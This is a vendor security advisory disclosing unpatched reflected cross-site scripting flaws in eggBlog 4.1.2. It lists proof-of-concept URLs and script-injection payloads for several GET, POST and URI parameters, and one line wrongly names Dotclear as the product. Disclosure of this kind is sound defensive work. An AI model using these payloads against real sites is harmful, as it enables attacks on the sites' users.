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Multiple Reflected XSS Vulnerabilities in eggBlog 4.1.2

Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in eggBlog
Affected Software : eggBlog
Affected Versions: 4.1.2
Vendor Homepage : 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-16-019

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Dotclear;

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg='"--></style></scRipt><scRipt>alert(0x0034DC)</scRipt>
Parameter Name wysiwyg
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0034DC)</scRipt>

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=text
Parameter Name dir
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php/'"--></style></scRipt><scRipt>alert(0x00299C)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x00299C)</scRipt>

URL /eggblog/news.php?id=1
Parameter Name title
Parameter Type POST
Attack Pattern <scRipt>alert(0x0027FE)</scRipt>

URL /eggblog/news.php?id=1
Parameter Name text
Parameter Type POST
Attack Pattern <scRipt>alert(0x0035F9)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
28 Jun 2016 - Issue reported
Jul - Sep 2016 - Several attempts to get in touch
05 Oct 2016 - Advisory released


Credits & Authors
This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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